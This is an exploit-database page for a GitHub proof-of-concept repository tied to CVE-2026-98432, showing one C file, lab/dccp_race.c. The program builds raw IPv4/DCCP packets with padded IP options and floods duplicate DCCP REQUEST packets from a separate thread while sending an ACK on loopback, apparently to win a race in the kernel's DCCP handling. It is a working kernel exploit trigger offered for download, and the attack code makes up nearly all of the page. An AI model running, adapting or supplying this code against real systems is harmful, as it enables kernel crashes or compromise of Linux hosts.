Exploit database

GH-64512fbefaddfbf371789d6022482152

h1z3-br0/cve-2026-98432

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-98432

33 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files35
h1z3-br0/cve-2026-98432Revision fa7e5d9b81d7

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

lab/dccp_race.c

C · 7,864 bytes
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <pthread.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <time.h>
#include <unistd.h>

#define SRV "10.0.2.15"
#define CLI "10.0.2.99"
#define DPORT 9001

static unsigned short csum(const void *data, int len)
{
	const unsigned short *p = data;
	unsigned long sum = 0;

	while (len > 1) {
		sum += *p++;
		len -= 2;
	}
	if (len)
		sum += *(const unsigned char *)p;
	while (sum >> 16)
		sum = (sum & 0xffff) + (sum >> 16);
	return (unsigned short)~sum;
}

static int raw_fd, cap_fd;
static volatile int flood_go, flood_stop;
static volatile unsigned int f_sport;
static volatile unsigned long long f_seq;

static void pin(int cpu)
{
	cpu_set_t set;

	CPU_ZERO(&set);
	CPU_SET(cpu, &set);
	sched_setaffinity(0, sizeof(set), &set);
}

static void put_seq(unsigned char *d, unsigned long long seq)
{
	d[9] = 0;			/* seq2 unused when x=1 */
	d[10] = (unsigned char)(seq >> 40);
	d[11] = (unsigned char)(seq >> 32);
	d[12] = (unsigned char)(seq >> 24);
	d[13] = (unsigned char)(seq >> 16);
	d[14] = (unsigned char)(seq >> 8);
	d[15] = (unsigned char)seq;
}

static int build_dccp(unsigned char *pkt, int with_opts, unsigned int sport,
		      unsigned long long seq, int type,
		      unsigned long long ack, int payload)
{
	struct iphdr *ip = (struct iphdr *)pkt;
	unsigned char *d;
	int ihl = with_opts ? 60 : 20;
	int dlen = (type == 0) ? 20 : 24;	/* REQUEST vs ACK */
	int total = ihl + dlen + payload;
	int i;

	memset(pkt, 0, (size_t)total);
	ip->version = 4;
	ip->ihl = (unsigned char)(ihl / 4);
	ip->tot_len = htons((unsigned short)total);
	ip->id = htons(0x7100);
	ip->frag_off = htons(0x4000);
	ip->ttl = 64;
	ip->protocol = 33;	/* DCCP */
	inet_pton(AF_INET, CLI, &ip->saddr);
	inet_pton(AF_INET, SRV, &ip->daddr);
	if (with_opts) {
		unsigned char *o = pkt + 20;

		o[0] = 68;
		o[1] = 40;
		o[2] = 5;
		o[3] = 0;
		for (i = 4; i + 4 <= 40; i += 4) {
			o[i + 0] = 0x41;
			o[i + 1] = 0x42;
			o[i + 2] = 0x43;
			o[i + 3] = 0x44;
		}
	}
	d = pkt + ihl;
	d[0] = (unsigned char)(sport >> 8);
	d[1] = (unsigned char)sport;
	d[2] = (unsigned char)(DPORT >> 8);
	d[3] = (unsigned char)DPORT;
	d[4] = (unsigned char)(dlen / 4);	/* doff in 32-bit words */
	d[5] = 0;					/* cscov 0 */
	d[6] = 0;
	d[7] = 0;					/* checksum */
	d[8] = (unsigned char)(0x01 | ((type & 0xf) << 1)); /* x=1, type */
	put_seq(d, seq);
	if (type == 0) {
		d[16] = 0;
		d[17] = 0;
		d[18] = 0;
		d[19] = 0;	/* service code 0 */
	} else {
		d[16] = 0;
		d[17] = 0;
		d[18] = (unsigned char)(ack >> 40);
		d[19] = (unsigned char)(ack >> 32);
		d[20] = (unsigned char)(ack >> 24);
		d[21] = (unsigned char)(ack >> 16);
		d[22] = (unsigned char)(ack >> 8);
		d[23] = (unsigned char)ack;
	}
	if (payload)
		pkt[ihl + dlen] = 'A';
	{
		unsigned char pseudo[12];
		unsigned short l = htons((unsigned short)(dlen + payload));

		memcpy(pseudo, &ip->saddr, 4);
		memcpy(pseudo + 4, &ip->daddr, 4);
		pseudo[8] = 0;
		pseudo[9] = 33;
		memcpy(pseudo + 10, &l, 2);
		{
			unsigned char t[256];

			memcpy(t, pseudo, 12);
			memcpy(t + 12, d, (size_t)(dlen + payload));
			{
				unsigned short c = csum(t, 12 + dlen + payload);

				d[6] = (unsigned char)c;
				d[7] = (unsigned char)(c >> 8);
			}
		}
	}
	ip->check = csum(ip, ihl);
	return total;
}

static int raw_send(unsigned char *pkt, int len)
{
	struct sockaddr_in d;

	memset(&d, 0, sizeof(d));
	d.sin_family = AF_INET;
	inet_pton(AF_INET, SRV, &d.sin_addr);
	return (int)sendto(raw_fd, pkt, (size_t)len, 0,
			   (struct sockaddr *)&d, sizeof(d));
}

static void *flood_thread(void *arg)
{
	unsigned char pkt[256];
	unsigned long long seq;

	(void)arg;
	pin(3);
	for (;;) {
		if (flood_stop)
			return NULL;
		if (!flood_go) {
			seq = f_seq;
			continue;
		}
		seq = f_seq++;
		{
			int len = build_dccp(pkt, 1, f_sport, seq, 0, 0, 0);

			raw_send(pkt, len);
		}
	}
}

/* wait for a DCCP RESPONSE (type 1) for @sport; return its seq or 0 */
static unsigned long long wait_response(unsigned int sport, int ms)
{
	struct timespec start, now;
	int i;

	clock_gettime(CLOCK_MONOTONIC, &start);
	for (i = 0; i < ms * 4; i++) {
		unsigned char buf[4096];
		ssize_t n = recv(cap_fd, buf, sizeof(buf), MSG_DONTWAIT);

		if (n > 0) {
			int off;

			for (off = 0; off + 40 < n; off++) {
				struct iphdr *ip;
				unsigned char *d;
				int type;

				if ((buf[off] >> 4) != 4)
					continue;
				ip = (struct iphdr *)(buf + off);
				if (ip->protocol != 33 || ip->ihl < 5)
					continue;
				if (off + ip->ihl * 4 + 16 > n)
					continue;
				d = buf + off + ip->ihl * 4;
				if (((d[0] << 8) | d[1]) != DPORT)
					continue;
				if (((d[2] << 8) | d[3]) != (int)sport)
					continue;
				type = (d[8] >> 1) & 0xf;
				if (type != 1)
					continue;
				return ((unsigned long long)d[10] << 40) |
				       ((unsigned long long)d[11] << 32) |
				       ((unsigned long long)d[12] << 24) |
				       ((unsigned long long)d[13] << 16) |
				       ((unsigned long long)d[14] << 8) |
				       (unsigned long long)d[15];
			}
		}
		{
			struct timespec ts = { 0, 250000 };

			nanosleep(&ts, NULL);
		}
		clock_gettime(CLOCK_MONOTONIC, &now);
		if ((now.tv_sec - start.tv_sec) * 1000 +
		    (now.tv_nsec - start.tv_nsec) / 1000000 > ms)
			break;
	}
	return 0;
}

int main(int argc, char **argv)
{
	int iters = argc > 1 ? atoi(argv[1]) : 100;
	pthread_t ft;
	struct sockaddr_ll sll;
	unsigned char pkt[256];
	int i;

	pin(2);
	raw_fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
	if (raw_fd < 0) {
		perror("raw");
		return 1;
	}
	{
		int one = 1;

		setsockopt(raw_fd, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one));
		if (setsockopt(raw_fd, SOL_SOCKET, SO_BINDTODEVICE, "lo", 3) < 0)
			perror("bindtodevice");
	}
	cap_fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
	if (cap_fd < 0) {
		perror("packet");
		return 1;
	}
	memset(&sll, 0, sizeof(sll));
	sll.sll_family = AF_PACKET;
	sll.sll_protocol = htons(ETH_P_ALL);
	sll.sll_ifindex = (int)if_nametoindex("lo");
	if (bind(cap_fd, (struct sockaddr *)&sll, sizeof(sll)) < 0)
		perror("bind packet");
	pthread_create(&ft, NULL, flood_thread, NULL);

	if (argc > 2 && !strcmp(argv[2], "cap")) {
		int k;

		for (k = 0; k < 400; k++) {
			unsigned char b[4096];
			ssize_t n = recv(cap_fd, b, sizeof(b), MSG_DONTWAIT);
			int off;

			if (n <= 0) {
				struct timespec ts = { 0, 5000000 };

				nanosleep(&ts, NULL);
				continue;
			}
			for (off = 0; off + 40 < n; off++) {
				struct iphdr *ip;
				unsigned char *d;
				int j;

				if ((b[off] >> 4) != 4)
					continue;
				ip = (struct iphdr *)(b + off);
				if (ip->protocol != 33 || ip->ihl < 5)
					continue;
				d = b + off + ip->ihl * 4;
				printf("DCCP ihl=%d len=%d:", ip->ihl,
				       ntohs(ip->tot_len) - ip->ihl * 4);
				for (j = 0; j < 24; j++)
					printf(" %02x", d[j]);
				printf("\n");
				fflush(stdout);
			}
		}
		return 0;
	}
	printf("dccp_race: iters=%d\n", iters);
	fflush(stdout);
	for (i = 0; i < iters; i++) {
		unsigned int sport = 20000 + (unsigned)(i % 20000);
		unsigned long long s0 = 0x1000000000ULL + (unsigned long long)i * 0x1000;
		unsigned long long iss;
		int len;

		len = build_dccp(pkt, 1, sport, s0, 0, 0, 0);
		raw_send(pkt, len);
		iss = wait_response(sport, 5);
		if (!iss)
			continue;
		/* dense duplicate REQUESTs with increasing seq */
		f_sport = sport;
		f_seq = s0 + 1;
		flood_go = 1;
		{
			struct timespec ts = { 0, 200000 };

			nanosleep(&ts, NULL);
		}
		/* ACK: seq = current client seq, ack = response seq */
		len = build_dccp(pkt, 0, sport, f_seq, 2, iss, 0);
		raw_send(pkt, len);
		{
			struct timespec ts = { 0, 200000 };

			nanosleep(&ts, NULL);
		}
		flood_go = 0;
	}
	printf("dccp_race done\n");
	return 0;
}